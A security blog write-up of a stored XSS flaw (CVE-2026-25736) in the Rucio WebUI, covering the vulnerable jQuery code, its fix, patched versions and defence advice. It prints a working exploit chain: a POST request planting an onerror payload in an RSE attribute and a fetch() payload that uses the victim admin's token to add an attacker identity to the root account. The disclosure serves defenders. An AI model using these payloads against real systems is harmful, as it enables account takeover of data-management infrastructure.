Feb 25, 2026·5 min read·7 visits
Stored XSS in Rucio WebUI allows attackers to inject scripts via RSE attributes. When an admin views the storage element, the script executes. Due to weak session protections, this leads to immediate account takeover.
Rucio, the data management heavyweight used by CERN and the scientific community to juggle petabytes of physics data, has a soft underbelly: its WebUI. A Stored Cross-Site Scripting (XSS) vulnerability exists in the RSE (Rucio Storage Element) attribute management system. By injecting malicious JavaScript into storage attributes, an attacker can turn the administrative dashboard into a weapon, executing arbitrary code in the browser of any admin who views the details. Coupled with a lack of `HttpOnly` cookies and globally exposed auth tokens, this is a textbook session hijacking vector.
Rucio is the unsung hero of high-energy physics. It manages exabytes of data across grid sites, clouds, and supercomputers. It’s the logistical brain behind experiments like ATLAS at the LHC. But even the smartest brains have blind spots.
The Rucio WebUI is the cockpit for administrators to manage this data flow. It’s a Python-based web application (found on PyPI as rucio-webui) that talks to the Rucio core. Usually, these internal dashboards are treated with a "soft trust" model—developers assume that only nice, well-behaved admins will ever touch the input fields. That assumption is the security equivalent of leaving your front door unlocked because you live in a gated community.
In this case, the vulnerability lies in how the WebUI handles RSE (Rucio Storage Element) Attributes. These are key-value pairs defining properties of storage locations. It turns out, the application was taking these values and painting them directly onto the DOM canvas without checking if the paint contained arsenic.
The root cause of CVE-2026-25736 is a classic failure of the "Trust But Verify" doctrine. The application suffered from Stored XSS because it blindly trusted data coming from its own backend.
Here is the logic flow that doomed the app:
The developers relied heavily on jQuery methods like .html() and .append(). For the uninitiated, passing a string to .html() in jQuery is functionally equivalent to saying, "Here is some text, please interpret it as executable code if it looks like it." If the string contains <script>, jQuery obliges.
This wasn't an obscure memory corruption or a race condition. It was a fundamental misuse of frontend libraries. It’s the difference between displaying a picture of a gun and handing someone a loaded one.
Let's look at the crime scene. The vulnerability manifested in several files, but rse.js is a prime example. The code was iterating over attributes and building a table row dynamically.
The Vulnerable Code (Conceptual):
// Inside rse.js - The danger zone
$.each(rse_attributes, function(key, value) {
// DANGER: .append() parses HTML strings
$('#t_rse_attributes').append(
'<tr><td>' + key + '</td><td>' + value + '</td></tr>'
);
});Do you see the issue? The value variable is concatenated directly into the HTML string. If value is <img src=x onerror=alert(1)>, the browser renders an image tag, fails to load 'x', and executes the onerror handler.
The Fix:
The patch involved switching from HTML parsing sinks to text-only sinks. If you must create elements dynamically, you use .text() which automatically escapes HTML entities (converting < to <).
// The Remediation
$.each(rse_attributes, function(key, value) {
var row = $('<tr>');
// SAFE: .text() treats input as literal string
var keyCell = $('<td>').text(key);
var valueCell = $('<td>').text(value);
row.append(keyCell).append(valueCell);
$('#t_rse_attributes').append(row);
});By building the DOM nodes programmatically and setting their text content, the browser knows that <script> is just a string of characters, not a command to be obeyed.
Exploiting this requires an attacker who already has some access (to modify RSEs), but the goal is privilege escalation or persistence. Let's say we have a compromised low-level admin account, or we are an insider threat. We want the credentials of the Super Admin.
Step 1: The Trap We send a POST request to create an attribute on a high-traffic RSE (like the one used for ATLAS).
POST /proxy/rses/WEB1/attr/MALICIOUS HTTP/1.1
Content-Type: application/json
{"value":"<img src=x onerror=eval(atob('ZmV0Y2goLi4uKQ=='))>"}Step 2: The Trigger
The Super Admin logs in to check why the storage is full. They navigate to Admin > RSE Management. The grid loads. The malicious attribute loads. The trap springs.
Step 3: The Payload Rucio WebUI had two critical architectural failures that made this exploit devastating:
HttpOnly: The session cookie could be read by JavaScript.Our payload doesn't just pop an alert box. It silently makes a PUT request to the identity endpoint, creating a new user for the root account with a password we control.
// The payload executing in the victim's browser
fetch('/identities/root/userpass', {
method: 'PUT',
headers: {
'X-Rucio-Auth-Token': window.token // Thanks for the token!
},
body: JSON.stringify({
'identity': 'hacker',
'password': 'PwnedPassword123'
})
});Game over. The attacker now has root access to the data management system.
If you are running Rucio WebUI, you need to update immediately. The vulnerability is patched in versions 35.8.3, 38.5.4, and 39.3.1.
For Developers:
Stop using .html() and .append() with user-supplied strings. Just stop. Modern frameworks like React and Vue handle this automatically (mostly), but if you are stuck in jQuery land or vanilla JS, use .textContent or .innerText.
Defense in Depth:
This exploit would have been a minor annoyance instead of a catastrophe if a Content Security Policy (CSP) had been in place. A strict CSP would block inline scripts (script-src 'self') and prevent the browser from executing the injected payload. Additionally, flag your cookies as HttpOnly and Secure. There is almost never a good reason for client-side JavaScript to read a session cookie.
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
rucio-webui Rucio | < 35.8.3 | 35.8.3 |
rucio-webui Rucio | >= 36.0.0rc1, < 38.5.4 | 38.5.4 |
rucio-webui Rucio | >= 39.0.0rc1, < 39.3.1 | 39.3.1 |
| Attribute | Detail |
|---|---|
| Attack Vector | Network (Stored XSS) |
| CVSS | 6.1 (Medium) |
| Privileges Required | High (Admin to create attribute) |
| Impact | Session Hijacking / Account Takeover |
| CWE ID | CWE-79 |
| Exploit Status | PoC Available |
The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.